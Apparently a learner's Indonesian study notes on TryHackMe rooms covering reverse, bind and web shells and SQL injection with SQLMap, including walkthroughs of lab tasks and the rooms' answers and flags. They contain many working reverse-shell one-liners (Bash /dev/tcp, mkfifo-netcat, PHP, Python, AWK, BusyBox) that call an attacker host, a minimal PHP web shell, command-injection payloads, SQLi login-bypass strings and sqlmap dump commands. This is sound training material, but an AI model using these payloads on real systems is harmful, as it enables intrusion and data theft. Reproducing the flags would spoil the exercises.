Offensive Security Tooling Part 2
Shells Overview
Room Introduction
Shell dalam keamanan siber sering digunakan oleh penyerang untuk mengontrol sistem dari jarak jauh, sehingga menjadi bagian penting dalam rantai serangan. Pada materi ini, akan dibahas berbagai jenis shell yang digunakan dalam offensive security, perbedaan di antara shell tersebut, serta kegunaannya. Pemahaman ini tidak hanya berguna untuk meningkatkan kemampuan penetration testing dan eksploitasi, tetapi juga untuk membantu mendeteksi aktivitas shell jarak jauh yang digunakan oleh penyerang di dalam suatu organisasi.
Shell Overview
Shell adalah perangkat lunak yang memungkinkan pengguna berinteraksi dengan sistem operasi (OS). Shell dapat berupa antarmuka grafis (GUI), namun umumnya berbentuk command-line interface (CLI), tergantung pada sistem operasi yang digunakan.
Dalam konteks keamanan siber, shell biasanya merujuk pada sesi shell tertentu yang digunakan oleh penyerang setelah berhasil mengakses sistem yang telah dikompromikan. Melalui shell ini, penyerang dapat menjalankan perintah dan mengeksekusi program di sistem target.
Fungsi Shell dalam Serangan Siber
Shell yang berhasil diperoleh dapat digunakan penyerang untuk berbagai aktivitas, antara lain:
- Kontrol Sistem Jarak Jauh Memungkinkan penyerang menjalankan perintah atau perangkat lunak secara remote pada sistem target.
- Eskalasi Hak Akses (Privilege Escalation) Jika akses awal terbatas, penyerang dapat mencari celah untuk meningkatkan hak akses menjadi lebih tinggi atau administratif.
- Eksfiltrasi Data Penyerang dapat menjelajahi sistem, membaca, dan menyalin data sensitif dari sistem target.
- Persistensi dan Pemeliharaan Akses Dengan akses shell, penyerang dapat membuat akun baru, menyimpan kredensial, atau menanamkan backdoor untuk mempertahankan akses di kemudian hari.
- Aktivitas Pasca-Eksploitasi Setelah mendapatkan shell, penyerang dapat melakukan berbagai aktivitas lanjutan seperti menyebarkan malware, membuat akun tersembunyi, atau menghapus data.
- Akses ke Sistem Lain dalam Jaringan (Pivoting) Shell dapat digunakan sebagai titik awal untuk berpindah ke sistem lain dalam jaringan yang sama, teknik ini dikenal sebagai pivoting.
Shell-shell yang akan dibahas pada bagian selanjutnya dapat digunakan untuk mendukung berbagai tujuan serangan di atas, tergantung pada jenis dan keterbatasan akses yang dimiliki penyerang.
- What is the command-line interface that allows users to interact with an operating system?
Shell
- What process involves using a compromised system as a launching pad to attack other machines in the network?
Pivoting
- What is a common activity attackers perform after obtaining shell access to escalate their privileges?
Privilege Escalation
Reverse Shell
Pengertian
Reverse shell (juga dikenal sebagai connect-back shell) adalah salah satu teknik paling umum dalam serangan siber untuk mendapatkan akses ke sistem target. Pada teknik ini, koneksi dimulai dari sistem target menuju mesin penyerang, bukan sebaliknya. Cara ini sering digunakan untuk menghindari deteksi firewall dan perangkat keamanan jaringan.
Cara Kerja Reverse Shell
1. Menyiapkan Listener di Mesin Penyerang
Karena target yang akan menghubungi penyerang, maka mesin penyerang harus terlebih dahulu menunggu koneksi. Salah satu tools yang sering digunakan adalah Netcat (nc). Contoh perintah:
nc -lvnp 443Penjelasan opsi:
-l: mode listen (menunggu koneksi)-v: verbose (menampilkan detail koneksi)-n: tidak menggunakan DNS, langsung IP-p: menentukan port yang digunakan
Penyerang biasanya menggunakan port umum seperti 53, 80, 8080, 443, 139, atau 445 agar lalu lintas shell terlihat seperti trafik normal dan tidak mudah terdeteksi.
2. Mendapatkan Akses Reverse Shell
Setelah listener aktif, penyerang menjalankan payload reverse shell pada sistem target. Payload ini memanfaatkan celah keamanan atau akses tidak sah untuk membuka shell dan menghubungkannya ke mesin penyerang.
Jenis payload sangat bergantung pada:
- Sistem operasi target
- Shell yang tersedia
- Tools yang terpasang
Contoh Payload Reverse Shell (Pipe Reverse Shell)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER_IP ATTACKER_PORT >/tmp/fPenjelasan Payload:
rm -f /tmp/fMenghapus named pipe lama jika ada agar tidak terjadi konflik.mkfifo /tmp/fMembuat named pipe (FIFO) untuk komunikasi dua arah.cat /tmp/fMembaca input dari named pipe.| sh -i 2>&1Mengalirkan input ke shell interaktif dan menggabungkan output standar dan error.| nc ATTACKER_IP ATTACKER_PORTMengirim output shell ke mesin penyerang melalui Netcat.>/tmp/fMengirim kembali output ke named pipe agar komunikasi dua arah berjalan.
Payload ini memungkinkan shell bash diekspos ke jaringan dan terhubung ke listener penyerang.
Shell Diterima oleh Penyerang
Setelah payload dijalankan, penyerang akan menerima koneksi dari sistem target dan mendapatkan akses shell, seolah-olah sedang menggunakan terminal langsung pada sistem tersebut.
Output koneksi menunjukkan:
- IP target yang terkompromi
- Port sumber yang digunakan
- Akses shell aktif pada sistem target
attacker@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.4.99.209] from (UNKNOWN) [10.10.13.37] 59964
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.
target@tryhackme:~$- What type of shell allows an attacker to execute commands remotely after the target connects back?
Reverse Shell
- What tool is commonly used to set up a listener for a reverse shell?
netcat
Bind Shell
Pengertian
Bind shell adalah teknik di mana sistem target yang telah dikompromikan membuka (bind) sebuah port dan menunggu koneksi masuk. Ketika penyerang terhubung ke port tersebut, sistem akan mengekspose sesi shell sehingga penyerang dapat menjalankan perintah dari jarak jauh.
Metode ini biasanya digunakan ketika sistem target tidak mengizinkan koneksi keluar (outgoing connection). Namun, bind shell relatif kurang populer dibanding reverse shell karena harus terus mendengarkan koneksi, sehingga lebih mudah terdeteksi oleh sistem keamanan.
Cara Kerja Bind Shell
1. Menyiapkan Bind Shell di Mesin Target
Pada teknik ini, bind shell dijalankan langsung di mesin target. Contoh perintah yang digunakan adalah:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 8080 > /tmp/fPenjelasan Payload:
rm -f /tmp/fMenghapus named pipe lama untuk menghindari konflik.mkfifo /tmp/fMembuat named pipe (FIFO) sebagai media komunikasi dua arah.cat /tmp/fMembaca input yang masuk dari named pipe.| bash -i 2>&1Menjalankan shell bash secara interaktif dan mengarahkan error ke output standar.| nc -l 0.0.0.0 8080Menjalankan Netcat dalam mode listen pada semua interface jaringan di port 8080. Ketika penyerang terhubung, shell akan tersedia.>/tmp/fMengirim kembali output perintah ke named pipe untuk menjaga komunikasi dua arah.
Catatan: Port di bawah 1024 membutuhkan hak akses administratif (root). Oleh karena itu, penggunaan port 8080 lebih aman dan praktis.
2. Penyerang Terhubung ke Bind Shell
Setelah bind shell aktif, penyerang dapat melakukan koneksi dari mesin mereka menggunakan Netcat:
nc -nv TARGET_IP 8080Penjelasan:
nc: menjalankan Netcat-n: menonaktifkan DNS lookup-v: menampilkan detail koneksiTARGET_IP: alamat IP mesin target8080: port tempat bind shell mendengarkan
Akses Shell Berhasil
Jika koneksi berhasil, penyerang akan langsung mendapatkan shell pada sistem target dan dapat menjalankan perintah seperti pada terminal lokal.
Kesimpulan
Bind shell memungkinkan penyerang:
-
Mendapatkan akses jarak jauh tanpa koneksi keluar dari target
-
Cocok untuk lingkungan dengan firewall ketat terhadap outgoing traffic Namun, bind shell memiliki kelemahan:
-
Port terbuka mudah terdeteksi
-
Membutuhkan layanan yang terus berjalan Karena itu, bind shell sering dianggap kurang stealthy dibanding reverse shell.
- What type of shell opens a specific port on the target for incoming connections from the attacker?
Bind Shell
- Listening below which port number requires root access or privileged permissions?
1024
Shell Listeners
Pada materi sebelumnya telah dibahas bahwa reverse shell melakukan koneksi dari sistem target yang telah dikompromikan menuju mesin penyerang. Untuk menerima dan berinteraksi dengan shell tersebut, dibutuhkan listener. Meskipun Netcat adalah tool yang paling umum digunakan, terdapat beberapa utilitas lain yang juga sering dipakai untuk tujuan ini.
1. Rlwrap
Pengertian
Rlwrap adalah utilitas ringan yang memanfaatkan library GNU Readline untuk menyediakan fitur editing keyboard dan riwayat perintah (command history).
Fungsi
Rlwrap sering digunakan untuk meningkatkan kenyamanan penggunaan shell, terutama saat menggunakan Netcat, yang secara default tidak mendukung tombol panah dan history.
Contoh Penggunaan:
rlwrap nc -lvnp 443Dengan membungkus Netcat menggunakan rlwrap, penyerang dapat:
- Menggunakan tombol panah atas/bawah
- Mengakses riwayat perintah
- Berinteraksi lebih nyaman dengan shell
2. Ncat
Pengertian
Ncat adalah versi Netcat yang lebih modern dan dikembangkan oleh proyek Nmap. Tool ini menyediakan fitur tambahan seperti enkripsi SSL.
Contoh Penggunaan (Listener Reverse Shell):
ncat -lvnp 4444
# listening on [any] 443 ...Contoh Penggunaan dengan SSL:
ncat --ssl -lvnp 4444
# Ncat: Version 7.94SVN ( https://nmap.org/ncat )
# Ncat: Listening on [::]:443
# Ncat: Listening on 0.0.0.0:443Fitur penting:
- Mendukung enkripsi SSL untuk komunikasi yang lebih aman
- Dapat menggunakan sertifikat sementara atau permanen
- Lebih fleksibel dibanding Netcat standar
3. Socat
Pengertian
Socat adalah utilitas yang memungkinkan pembuatan koneksi socket antara dua sumber data, misalnya antara dua host yang berbeda.
Contoh Penggunaan Default (Listener Reverse Shell):
socat -d -d TCP-LISTEN:443 STDOUT
# 2024/09/23 15:44:38 socat[41135] N listening on AF=2 0.0.0.0:443Penjelasan:
-d -d: mengaktifkan mode verbose (detail koneksi)TCP-LISTEN:443: membuka listener TCP pada port 443STDOUT: menampilkan data yang diterima langsung ke terminal
Socat dikenal sebagai tool yang sangat fleksibel dan sering digunakan dalam skenario lanjutan karena mampu menangani berbagai jenis koneksi dan protokol.
- Which flexible networking tool allows you to create a socket connection between two data sources?
socat
- Which command-line utility provides readline-style editing and command history for programs that lack it, enhancing the interaction with a shell listener?
rlwrap
- What is the improved version of Netcat distributed with the Nmap project that offers additional features like SSL support for listening to encrypted shells?
ncat
Shell Payloads
Shell payload adalah perintah atau script yang digunakan untuk mengekspos shell:
- Bind shell → membuka port dan menunggu koneksi masuk
- Reverse shell → mengirim koneksi dari target ke mesin penyerang
Pada bagian ini dibahas berbagai payload reverse shell populer di Linux, menggunakan beberapa bahasa dan utilitas.
Reverse Shell Menggunakan Bash
- Bash Reverse Shell Sederhana
Membuka shell interaktif dan mengalihkan input/output melalui koneksi TCP ke penyerang.
bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1 - Bash Read Line Reverse Shell
Menggunakan file descriptor untuk membaca perintah dari socket dan mengirimkan hasilnya kembali.
exec 5<>/dev/tcp/ATTACKER_IP/443; cat <&5 | while read line; do $line 2>&5 >&5; done - Bash Reverse Shell dengan File Descriptor 196
Memanfaatkan file descriptor tertentu untuk komunikasi dua arah melalui TCP.
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/443; sh <&196 >&196 2>&196 - Bash Reverse Shell dengan File Descriptor 5
Mirip dengan metode sebelumnya, namun menggunakan file descriptor 5 untuk sesi interaktif.
bash -i 5<> /dev/tcp/ATTACKER_IP/443 0<&5 1>&5 2>&5
Bash reverse shell banyak digunakan karena ringkas, tidak butuh tool tambahan, dan sering tersedia di sistem Linux.
Reverse Shell Menggunakan PHP
PHP sering digunakan dalam konteks web exploitation, terutama jika penyerang memiliki akses eksekusi PHP.
Metode PHP reverse shell yang umum:
- Menggunakan
exec()menggunakan fungsiexec()untuk menjalankan shell. fungsiexec()mengeksekusi perintah eksternal dan mengembalikan outputnya.php -r '$sock=fsockopen("ATTACKER_IP",443);exec("sh <&3 >&3 2>&3");' - Menggunakan
shell_exec()menggunakan fungsishell_exec()yang menjalankan perintah melalui shell dan mengembalikan outputnya sebagai string.php -r '$sock=fsockopen("ATTACKER_IP",443);shell_exec("sh <&3 >&3 2>&3");' - Menggunakan
system()menggunakan fungsisystem()yang menjalankan perintah dan langsung mengirim outputnya ke browser atau terminal.php -r '$sock=fsockopen("ATTACKER_IP",443);system("sh <&3 >&3 2>&3");' - Menggunakan
passthru()menggunakan fungsipassthru()yang menjalankan perintah dan mengirim output mentahnya ke browser atau terminal.php -r '$sock=fsockopen("ATTACKER_IP",443);passthru("sh <&3 >&3 2>&3");' - Menggunakan
popen()menggunakan fungsipopen()yang membuka proses baru dan menghubungkannya ke pipe.php -r '$sock=fsockopen("ATTACKER_IP",443);popen("sh <&3 >&3 2>&3", "r");'
Semua metode tersebut:
- Membuat koneksi socket ke mesin penyerang
- Menjalankan shell (
sh) - Mengarahkan input dan output shell ke socket
Perbedaannya terletak pada cara PHP mengeksekusi perintah dan menangani output.
Reverse Shell Menggunakan Python
Python reverse shell dijalankan dengan python -c dan memanfaatkan modul bawaan.
- Menggunakan Environment Variables
IP dan port penyerang disimpan dalam variabel lingkungan, lalu socket dibuat untuk koneksi shell.
export RHOST="ATTACKER_IP"; export RPORT=443; PY-C 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' - Menggunakan Modul
subprocessMenjalankan shell dengan lingkungan yang lebih stabil dan interaktif.PY-C 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.99.209",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' - Python Reverse Shell Pendek (Short Payload)
Versi ringkas yang langsung membuat socket, mengalihkan stdin/stdout/stderr, dan menjalankan bash.
PY-C 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
Python reverse shell sering digunakan karena fleksibel, stabil, dan mudah dimodifikasi.
Reverse Shell Lainnya
1. Telnet
Menggunakan named pipe (mkfifo) dan Telnet untuk mengirimkan shell ke mesin penyerang.
TF=$(mktemp -u); mkfifo $TF && telnet ATTACKER_IP443 0<$TF | sh 1>$TF2. AWK
Memanfaatkan kemampuan TCP bawaan AWK untuk:
- Menerima perintah
- Menjalankannya
- Mengirim hasil kembali melalui koneksi TCP
awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null3. BusyBox
Menggunakan Netcat bawaan BusyBox untuk menghubungkan shell ke mesin penyerang. Umum dijumpai pada sistem embedded atau minimal.
busybox nc ATTACKER_IP 443 -e sh- Which Python module is commonly used for managing shell commands and establishing reverse shell connections in security assessments?
subprocess
- What shell payload method in a common scripting language uses the exec, shell_exec, system, passthru, and popen functions to execute commands remotely through a TCP connection?
php
- Which scripting language can use a reverse shell by exporting environment variables and creating a socket connection?
python
Web Shell
Web shell adalah script berbahasa yang didukung oleh web server (seperti PHP, ASP, JSP, atau CGI) yang memungkinkan penyerang menjalankan perintah sistem melalui web server. Umumnya, web shell berupa satu file yang berisi kode untuk eksekusi perintah dan manipulasi file.
Web shell sering disembunyikan di dalam aplikasi atau layanan web yang telah dikompromikan, sehingga sulit dideteksi dan sangat populer digunakan oleh penyerang.
Bahasa yang Umum Digunakan
Web shell dapat ditulis menggunakan berbagai bahasa yang didukung web server, antara lain:
- PHP
- ASP / ASP.NET
- JSP
- CGI script
Pemilihan bahasa bergantung pada teknologi yang digunakan oleh web server target.
Contoh PHP Web Shell Sederhana
Contoh web shell PHP dasar:
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>- Menjalankan perintah sistem berdasarkan parameter
cmdyang dikirim melalui metode GET sepertihttp://victim.com/uploads/shell.php?cmd=whoami. - File disimpan dengan ekstensi
.php(misalnyashell.php).
Web shell ini dapat diunggah ke server dengan mengeksploitasi celah seperti:
- Unrestricted File Upload
- Kegagalan membatasi jenis file yang diunggah memungkinkan penyerang mengunggah script berbahaya.
- File Inclusion
- Memanfaatkan kerentanan untuk menyertakan file berbahaya dari lokasi eksternal.
- Command Injection
- Mengeksekusi perintah sistem melalui input yang tidak divalidasi.
- Akses tidak sah ke server
Setelah berhasil diunggah, web shell dapat diakses melalui URL tempat file tersebut berada. Penyerang cukup menambahkan parameter cmd untuk menjalankan perintah, dan hasilnya akan ditampilkan langsung di browser.
Cara Kerja Web Shell
- Penyerang mengunggah atau menanam web shell ke server
- Web shell diakses melalui browser
- Perintah sistem dikirim melalui parameter HTTP
- Server mengeksekusi perintah dan mengembalikan hasilnya
Web Shell Populer yang Banyak Ditemukan
Beberapa web shell terkenal yang tersedia secara online antara lain:
- p0wny-shell - https://github.com/flozz/p0wny-shell Web shell PHP sederhana dalam satu file dengan antarmuka mirip terminal untuk eksekusi perintah jarak jauh.
- b374k shell - https://github.com/b374k/b374k
Web shell PHP dengan fitur lengkap seperti:
- Manajemen file
- Eksekusi perintah
- Navigasi direktori
- c99 shell - https://www.r57shell.net/single.php?id=13
Salah satu web shell paling terkenal dan kuat, menyediakan:
- Eksekusi perintah
- Manipulasi file
- Berbagai fitur lanjutan lainnya
Web shell dengan fitur kaya dapat menyamarkan aktivitas berbahaya dan mempersulit proses deteksi.
git clone https://github.com/flozz/p0wny-shell
cd p0wny-shell
php -S localhost:8000kunjungi http://localhost:8000/shell.php di browser untuk mengakses web shell.

git clone https://github.com/b374k/b374k
cd b374k
php -S localhost:8000kunjungi http://localhost:8000 di browser untuk mengakses web shell.

- What vulnerability type allows attackers to upload a malicious script by failing to restrict file types?
- The answer is one of the links mentioned in the Example PHP Web Shell section.
Unrestricted File Upload
- What is a malicious script uploaded to a vulnerable web application to gain unauthorized access?
Web Shell
Practical Task
Tantangan Praktik: Reverse Shell
Setelah mempelajari berbagai jenis reverse shell, tahap selanjutnya adalah menguji pemahaman melalui latihan praktik. Pada tantangan ini, tujuan utama adalah mendapatkan flag dengan format THM{} dari web server yang memiliki celah keamanan.
Informasi Mesin dan Layanan
Setelah menekan tombol Start Machine, mesin virtual akan aktif dan dapat diakses melalui beberapa layanan berikut:
10.48.181.216:8080Menyediakan landing page (halaman utama)10.48.181.216:8081Web application yang rentan terhadap command injection10.48.181.216:8082Web application yang rentan terhadap unrestricted file upload
Akses Lab
- Tantangan dapat diakses menggunakan:
- AttackBox (ditampilkan dalam mode split screen), atau
- Mesin pribadi yang telah terhubung ke VPN
Target 1: Command Injection Exploitation

nc -lvnp 9001hello.txt ; id
# 328bc672ba8234075d81256d8881cf442adb46358365f61229f2be3f1b5fa046 hello.txt
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
hello.txt ; ls -la /
# 328bc672ba8234075d81256d8881cf442adb46358365f61229f2be3f1b5fa046 hello.txt
# drwxr-xr-x 1 root root 4096 Oct 18 2024 .
# drwxr-xr-x 1 root root 4096 Oct 18 2024 ..
# -rwxr-xr-x 1 root root 0 Oct 18 2024 .dockerenv
# drwxr-xr-x 1 root root 4096 Oct 18 2024 bin
# drwxr-xr-x 2 root root 4096 Sep 3 2022 boot
# drwxr-xr-x 5 root root 340 Jan 18 10:20 dev
# drwxr-xr-x 1 root root 4096 Oct 18 2024 etc
# -rw-r--r-- 1 root root 46 Oct 18 2024 flag.txt
# drwxr-xr-x 2 root root 4096 Sep 3 2022 home
# drwxr-xr-x 1 root root 4096 Nov 15 2022 lib
# drwxr-xr-x 2 root root 4096 Nov 14 2022 lib64
# drwxr-xr-x 2 root root 4096 Nov 14 2022 media
# drwxr-xr-x 2 root root 4096 Nov 14 2022 mnt
# drwxr-xr-x 2 root root 4096 Nov 14 2022 opt
# dr-xr-xr-x 273 root root 0 Jan 18 10:20 proc
# drwx------ 1 root root 4096 Nov 15 2022 root
# drwxr-xr-x 1 root root 4096 Nov 15 2022 run
# drwxr-xr-x 1 root root 4096 Nov 15 2022 sbin
# drwxr-xr-x 2 root root 4096 Nov 14 2022 srv
# dr-xr-xr-x 13 root root 0 Jan 18 10:20 sys
# drwxrwxrwt 1 root root 4096 Oct 18 2024 tmp
# drwxr-xr-x 1 root root 4096 Nov 14 2022 usr
# drwxr-xr-x 1 root root 4096 Nov 15 2022 var
hello.txt ; sh -i >& /dev/tcp/10.49.93.55/9001 0>&1 ;
hello.txt ; 0<&196;exec 196<>/dev/tcp/10.49.93.55/9001; sh <&196 >&196 2>& ;
# gagal
hello.txt ; rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.49.93.55 9001 >/tmp/fbaru berhasil ketika mencoba menggunakan mkfifo
whoami
# www-data
cat flag.txt
# THM{0f28b3e1b00becf15d01a1151baf10fd713bc625}
Target 2: Unrestricted File Upload Exploitation

kita coba upload revshell, disini kita bisa coba gunakan p0wny-shell atau b374k shell jika memungkinkan.
gobuster dir -u http://10.49.168.154:8082/ -w /usr/share/wordlists/dirb/common.txt
# /index.php (Status: 200) [Size: 961]
# /server-status (Status: 403) [Size: 280]
# /uploads (Status: 301) [Size: 323]git clone https://github.com/flozz/p0wny-shellfile shell.php diupload melalui form upload.
setelah itu kita akses melalui browser:

cat /flag.txt
# THM{202bb14ed12120b31300cfbbbdd35998786b44e5}- Using a reverse or bind shell, exploit the command injection vulnerability to get a shell. What is the content of the flag saved in the / directory?
- Place your reverse shell payload in between two ;
THM{0f28b3e1b00becf15d01a1151baf10fd713bc625}
- Using a web shell, exploit the unrestricted file upload vulnerability and get a shell. What is the content of the flag saved in the / directory?
- Use the payloads learned in tasks 7 to create a file called shell.php. All files are stored in the /uploads/ directory of the web site.
THM{202bb14ed12120b31300cfbbbdd35998786b44e5}
SQLMap: The Basics
Introduction
SQL Injection adalah salah satu kerentanan keamanan yang paling umum dan telah lama menjadi topik penting dalam dunia keamanan siber. Untuk memahami SQL Injection, kita perlu memahami terlebih dahulu apa itu database dan bagaimana website berinteraksi dengannya.
Database adalah kumpulan data yang disimpan secara terstruktur agar mudah disimpan, diubah, dan diambil kembali. Website yang kita gunakan sehari-hari—seperti halaman login atau fitur pencarian—menggunakan database untuk menyimpan dan memverifikasi data pengguna. Ketika pengguna memasukkan username dan password, website akan berkomunikasi dengan database untuk mengecek apakah data tersebut valid.
Interaksi antara website dan database dilakukan menggunakan bahasa SQL (Structured Query Language). Database dikelola oleh DBMS (Database Management System) seperti MySQL, PostgreSQL, SQLite, atau Microsoft SQL Server. SQL Injection terjadi ketika input pengguna tidak difilter dengan baik sehingga penyerang dapat menyisipkan perintah SQL berbahaya untuk membaca, mengubah, atau bahkan menghapus data dalam database.
Dalam materi ini, akan dipelajari dasar-dasar SQL Injection serta penggunaan tool otomatis seperti SQLMap untuk mendeteksi dan mengeksploitasi kerentanan tersebut melalui praktik langsung.
Database & Website
- Database menyimpan data pengguna dan data aplikasi lainnya
- Website berinteraksi dengan database untuk:
- Login (autentikasi)
- Pencarian data
- Menyimpan & memperbarui informasi
DBMS (Database Management System)
- Contoh DBMS:
- MySQL
- PostgreSQL
- SQLite
- Microsoft SQL Server
- DBMS menggunakan SQL sebagai bahasa perintah
SQL Injection
- Terjadi ketika input pengguna langsung dimasukkan ke query SQL tanpa validasi
- Dampak:
- Membaca data sensitif
- Bypass login
- Mengubah atau menghapus data
- Mengambil alih sistem
SQLMap
- Tool otomatis untuk:
- Mendeteksi SQL Injection
- Mengeksploitasi database secara otomatis
- Sangat berguna dalam penetration testing
- Which language builds the interaction between a website and its database?
sql
SQL Injection Vulnerability
SQL Injection adalah kerentanan keamanan pada aplikasi web yang terjadi karena website berkomunikasi dengan database menggunakan perintah SQL. Database dipakai untuk menyimpan dan mengambil data seperti akun pengguna, password, atau data pencarian. Setiap kali user login atau mencari sesuatu, website akan mengirimkan query SQL ke database untuk memproses permintaan tersebut.
Database dikelola oleh DBMS seperti MySQL, PostgreSQL, SQLite, dan Microsoft SQL Server. DBMS ini bertugas memahami dan mengeksekusi perintah SQL. Masalah muncul saat input dari pengguna tidak divalidasi dengan baik dan langsung digabungkan ke dalam query SQL. Dari sinilah SQL Injection bisa terjadi.
Hal yang perlu diingat tentang SQL Injection:
- Input user adalah titik paling rawan
- Query SQL yang dibuat secara langsung sangat berbahaya
- Kesalahan kecil pada validasi bisa berdampak besar
Jika berhasil dieksploitasi, SQL Injection dapat menyebabkan:
- Data sensitif terbaca oleh penyerang
- Login bisa dilewati tanpa kredensial yang valid
- Data dalam database diubah atau dihapus
- Sistem berpotensi diambil alih
Dalam pembelajaran ini, kita tidak hanya mempelajari teorinya, tetapi juga praktik langsung. Tool seperti SQLMap digunakan untuk membantu mendeteksi dan mengeksploitasi celah SQL Injection secara otomatis. Tool ini umum dipakai dalam penetration testing karena cepat dan efisien. Walaupun pengetahuan dasar SQL membantu, materi ini tetap bisa diikuti tanpa harus ahli SQL.
katakanlah kita sedang mencoba login ke sebuah website dengan username dan password.
- Username: John
- Password: Un@detectable444
SELECT * FROM users WHERE username = 'John' AND password = 'Un@detectable444';kita ansumsikan query di atas dijalankan oleh website untuk memverifikasi kredensial login. Jika username dan password cocok, user akan berhasil login.
namun attacker mencoba memasukkan input berbahaya pada form login:
- Username: John
- Password: abc' OR 1=1;-- -
SELECT * FROM users WHERE username = 'John' AND password = 'abc' OR 1=1;-- -';maka query di atas akan selalu bernilai benar karena 1=1 selalu benar. Bagian -- - adalah komentar dalam SQL, sehingga sisa query diabaikan. Akibatnya, attacker bisa login tanpa mengetahui password yang benar.
- Which boolean operator checks if at least one side of the operator is true for the condition to be true?
or
- Is 1=1 in an SQL query always true? (YEA/NAY)
YEA
Automated SQL Injection Tool
SQL Injection (SQLi) adalah teknik serangan yang memanfaatkan celah keamanan pada aplikasi web yang berinteraksi dengan database. Jika input pengguna tidak divalidasi dengan baik, penyerang bisa menjalankan perintah SQL berbahaya. SQLMap adalah tool otomatis untuk:
- Mendeteksi celah SQL Injection
- Mengeksploitasi database
- Mengambil database, tabel, dan isi data
SQLMap sangat membantu karena:
- Menghemat waktu dibanding manual SQLi
- Mendukung banyak teknik SQL Injection
- Bisa bekerja dengan request GET dan POST
Menjalankan SQLMap
SQLMap dijalankan melalui terminal Linux.
Melihat bantuan
sqlmap --helpMode Wizard (Cocok untuk Pemula)
sqlmap --wizardMode ini akan:
- Bertanya URL target
- Menentukan metode testing otomatis
- Cocok untuk belajar langkah demi langkah
Target dengan GET Parameter
Contoh URL dengan GET parameter:
http://sqlmaptesting.thm/search?cat=1Parameter cat=1 berpotensi rentan karena:
- Input langsung dikirim ke database
- Bisa dimanipulasi oleh attacker
Mengecek SQL Injection pada URL
Gunakan flag -u untuk URL target.
sqlmap -u http://sqlmaptesting.thm/search?cat=1Hasil yang Bisa Dideteksi:
SQLMap dapat menemukan beberapa jenis SQL Injection, seperti:
- Boolean-based Blind
- Error-based
- Time-based Blind
- UNION-based
Contoh payload:
cat=1 AND 1=1
cat=1 AND SLEEP(5)
cat=1 UNION SELECT NULL,NULL,...Jika muncul informasi seperti:
GET parameter 'cat' is injectableback-end DBMS: MySQL
Artinya URL tersebut rentan SQL Injection
Mengetahui Database (Flag --dbs)
Untuk menampilkan semua database:
sqlmap -u http://sqlmaptesting.thm/search?cat=1 --dbsContoh hasil:
available databases:
[*] users
[*] membersMenampilkan Tabel dalam Database
Gunakan flag:
-D→ nama database--tables→ daftar tabel
sqlmap -u http://sqlmaptesting.thm/search?cat=1 -D users --tablesContoh hasil:
Tables:
- johnath
- alexas
- thomasDump Data dari Tabel
Untuk melihat isi tabel:
Flag yang digunakan:
-D→ database-T→ tabel--dump→ ambil seluruh data
sqlmap -u http://sqlmaptesting.thm/search?cat=1 -D users -T thomas --dumpContoh data:
+------------+------------+----------+
| Date | name | pass |
+------------+------------+----------+
| 09/09/2024 | Thomas THM | testing |
+------------+------------+----------+Jika kolom password terdeteksi hash, SQLMap akan menawarkan:
- Simpan hash
- Crack password (dictionary attack)
SQL Injection via POST Request
Tidak semua SQLi memakai GET. Banyak form login memakai POST request.
Langkah Umum:
- Intercept request login (Burp Suite, dll)
- Simpan request sebagai file
.txt - Jalankan SQLMap dengan flag
-r
sqlmap -r intercepted_request.txtCocok untuk:
- Login form
- Register form
- Search form POST
Ringkasan Flag Penting SQLMap
| Flag | Fungsi |
|---|---|
-u | Target URL |
--wizard | Mode interaktif |
--dbs | Menampilkan database |
-D | Pilih database |
--tables | Tampilkan tabel |
-T | Pilih tabel |
--dump | Ambil isi tabel |
-r | Gunakan request POST |
--help | Bantuan |
- SQLMap hanya boleh digunakan:
- Di lab (TryHackMe, HTB)
- Dengan izin tertulis
- Menggunakan SQLMap di website tanpa izin adalah ilegal
- Which flag in the SQLMap tool is used to extract all the databases available?
--dbs
- What would be the full command of SQLMap for extracting all tables from the "members" database? (Vulnerable URL: http://sqlmaptesting.thm/search/cat=1)
sqlmap -u http://sqlmaptesting.thm/search/cat=1 -D members --tables
Practical Exercise
Gambaran Umum Task
Pada task ini, kita diberikan:
- Web application rentan SQL Injection
- Target berupa login page
- URL login:
http://10.48.181.216/ai/loginBerbeda dari task sebelumnya:
- Parameter tidak terlihat langsung di URL
- Login menggunakan GET request tersembunyi
Tujuan kita:
- Menemukan parameter GET
- Menguji SQL Injection dengan SQLMap
- Mengekstrak database, tabel, dan data
Menemukan GET Parameter (Inspect Browser)
Karena parameter tidak terlihat di URL, lakukan langkah berikut:
Langkah-langkah:
- Buka login page
http://10.48.181.216/ai/login - Klik kanan → Inspect
- Masuk ke tab Network
- Isi form login (bebas, contoh):
- Email:
test - Password:
test
- Email:
- Klik Login
- Perhatikan request GET yang muncul
- Klik request tersebut → copy full URL
URL yang didapat:
http://10.48.181.216/ai/includes/user_login?email=test&password=testJika gagal mengambil dari browser, URL di atas boleh langsung dipakai
Penting: Gunakan Tanda Petik (')
Saat menjalankan SQLMap, URL harus diapit tanda petik satu agar tidak error: ❌ Salah:
sqlmap -u http://10.48.181.216/ai/includes/user_login?email=test&password=test✅ Benar:
sqlmap -u 'http://10.48.181.216/ai/includes/user_login?email=test&password=test'Scan SQL Injection (In-depth Scan)
Karena simple scan sering gagal, gunakan:
--level=5→ scan mendalam
